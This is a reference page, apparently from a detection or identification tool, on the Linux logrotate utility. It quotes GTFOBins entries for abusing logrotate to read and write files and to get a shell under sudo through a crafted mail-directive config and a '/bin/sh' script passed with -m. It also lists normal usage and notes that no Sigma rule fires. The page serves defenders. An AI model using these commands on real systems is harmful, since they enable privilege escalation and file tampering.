Identifier / Programs / Linux and Unix
logrotate
Rotate, compress, and mail system logs. tldr-pages
GTFOBins file-write, shell 1 ATT&CK technique 3 documented commands
How logrotate is abused
file-write
-lEach abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for logrotate.
3 documented commands
file-read unprivileged, with sudo, as SUID
The first word is returned in a error message.
logrotate /path/to/input-filefile-write unprivileged, with sudo, as SUID
The content is written in a log file.
logrotate -l /path/to/output-file DATAshell with sudo
This command is picky about file permissions. An existing config file can be used as weel, provided that it contains a mail directive.
echo -e '/path/to/temp-file.config {\nmail x@x.x\n}' >/path/to/temp-file.config
echo '/bin/sh 0<&2 1>&2' >/path/to/temp-file.sh
logrotate -m /path/to/temp-file.sh -f /path/to/temp-fileNone of the 3 commands the identifier reads trips a Sigma process-creation rule. These commands are, with GTFOBins’ notes, from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for logrotate. The identifier reads the line of each that runs logrotate.
What detects it
Everyday use
Trigger a run manually
logrotate path/to/logrotate.conf --forceIdentifyRun using a specific command to mail reports
logrotate path/to/logrotate.conf --mail /usr/bin/mail_commandIdentifyRun without using a state (lock) file
logrotate path/to/logrotate.conf --state /dev/nullIdentifyNone of the 3 examples the identifier reads matches GTFOBins abuse or trips a Sigma process-creation rule.